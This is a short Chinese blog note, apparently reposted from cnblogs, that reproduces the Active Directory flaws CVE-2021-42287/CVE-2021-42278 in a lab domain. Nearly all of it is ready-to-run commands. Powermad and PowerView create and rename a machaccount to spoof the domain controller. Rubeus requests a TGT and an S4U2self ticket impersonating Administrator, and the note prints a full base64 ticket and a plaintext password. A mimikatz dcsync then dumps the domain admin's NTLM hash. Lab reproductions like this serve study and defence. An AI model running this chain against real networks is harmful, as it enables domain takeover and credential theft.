zoukankan      html  css  js  c++  java
  • CVE202142287/CVE202142278 复现

    根据:https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ走了一遍,留个笔记

    1. 创建机器用户hello
    Import-Module .\Powermad.ps1
    New-MachineAccount -MachineAccount hello -Domain sync.net -DomainController sync-dc.sync.net -Verbose
    



    2. 删除spn记录

    Import-Module .\powerview.ps1
    Set-DomainObject "CN=hello,CN=Computers,DC=sync,DC=net" -Clear 'serviceprincipalname' -Verbose
    


    3. 重新设置机器名

    Import-Module .\Powermad.ps1
    Set-MachineAccountAttribute -MachineAccount hello -Value "sync-dc" -Attribute samaccountname -Verbose
    


    4. 请求TGT

    Rubeus2.exe asktgt /user:sync-dc /password:zy123!@#45 /domian:sync.net /dc:sync-dc.sync.net /nowrap
    


    5. 恢复原来的机器属性

    Import-Module .\Powermad.ps1
    Set-MachineAccountAttribute -MachineAccount hello -Value "hello" -Attribute samaccountname -Verbose
    


    6. Request S4U2self(获取票据)

    Rubeus2.exe s4u /impersonateuser:Administrator /nowrap /dc:sync-dc.sync.net /self /altservice:LDAP/sync-dc.sync.net /ptt /ticket:doIEuDCCBLSgAwIBBaEDAgEWooID2jCCA9ZhggPSMIIDzqADAgEFoQobCFNZTkMuTkVUoh0wG6ADAgECoRQwEhsGa3JidGd0GwhTeW5jLm5ldKOCA5owggOWoAMCARKhAwIBAqKCA4gEggOEctv8iHSYZ1VmMmu9lCIWyqRMPwSudSYT/ZhbgVCggrSHUD2HZdj5cp5PlC4eTjpuUF6tli8MfdNc/orzs/J+zaEpSMAuS60FIjImoTEzLwiyKeKoVCOKnwdsetfExr+NXK8PqFGE6VFWcAn3PbEGwTPd/oBYvtYWKOQhbDbWgjKod5VeO1iMK7HfGM31v5ZO9p9lXs+FREoEaTl7+qaMx1NJJNXjj1JXXt1GoFC52/sBzUy0bXHY8UVTzCZsTF/JMvrt50F+SOnXV4aGNXNEuZ3WUpxMHIh488vfJ/AbpLI+gf7uvlgmMsl2NoYyF36AgaApTHwYEV/Uhm29epmclR6cL6+cSf7oZzYLCWHjp5fmyTpp9JMfeiR0gXi/B3JyJqVHV9E46fwIT1VYE/QXdq2EH73OMH2T24EQ6piToKUB7Wo6vHqndU65lsUlkNoYs1ppKU4FIfItb8gWaO9tL1qL+DAYwW7FWnBghIvJ6NW5tgl7zXh2rbSCNNMSOKPdbL6ZukonsVICuHYrsiP2ovb7RZmqPBhgAFc8WqbjIdAsuZJ9TgowFf0BXlXNONQSyGTK8hX1dve16GQ2HTZy4ibH9EL6g2E1VRWiOwfHDQkbawiJjsoWX0EAMPCKu/DP35TR4gwe972J6yhHvUZq5nJkQcVLm9OCy++YbXw64EfzFnDmTvI3VkHuB6dH1nO3qGpKkhbp39e+CuwGS3FKrYtCYZXaNFCi9I3XOh2aow8GnZ/5iRoHGr1hlpf8I18bSk7Ve/zobznX57KBDV8relz0d2lpmDMw4B0drxQQINoSPYwA3upbM6C7r9QjawvyYQIeuydEybLo47uuY1cQbI2KI71O3kOObMaFu5/3q7ALhW975J2rQ0gtLrduiw2sbliD6pV2MGwz1MgI0PhJlyXsANmGGnQHLRJrO/xVrcryVRBIUbEKYfC6YWhqwof9+/BcGRmRFSudPqi6sXwJmsAjbaRfpse6U/0yqyKcseape9P9T0P1OgrjPEX5g3BUy18cJZZ/fR0yMnpZc7huK9rF+dktgjxWL9HL8iFXlrOniVicTtoUclJfXM5em6+3KOHIaE+uk3cEtq0UEyT/U4LGsr4l2UON6ZBSbnq6ZliX2UXTlZYRKe8k3F28DOUw3XlBpCNYG4PwcT59mR22jZth4PatKBhTShTPiMXdiwLgUMKso4HJMIHGoAMCAQCigb4Egbt9gbgwgbWggbIwga8wgaygGzAZoAMCARehEgQQTffKRcd/1+EY5yLZ8fESGaEKGwhTWU5DLk5FVKIUMBKgAwIBAaELMAkbB3N5bmMtZGOjBwMFAEDhAAClERgPMjAyMTEyMTMwNDU0MjVaphEYDzIwMjExMjEzMTQ1NDI1WqcRGA8yMDIxMTIyMDA0NTQyNVqoChsIU1lOQy5ORVSpHTAboAMCAQKhFDASGwZrcmJ0Z3QbCFN5bmMubmV0
    
    1. 获取 域管用户的 NTLM Hash
    lsadump::dcsync /user:sync.net\administrator
    

  • 相关阅读:
    访问前端项目时Http请求变成了HTTPS
    Jenkins升级后无法正常启动(java.lang.IllegalStateException: An attempt to save the global configuration ......
    准备开始学习了。
    Nginx的安装与使用
    Linux 学习001
    Nginx为什么比Apache Httpd高效:原理篇
    Asp .Net Core Spa (二)
    Asp .Net Core Spa (一)
    基础笔记(三):网络协议之Tcp、Http
    跨平台运行ASP.NET Core 1.0
  • 原文地址:https://www.cnblogs.com/mrhonest/p/15682858.html
Copyright © 2011-2022 走看看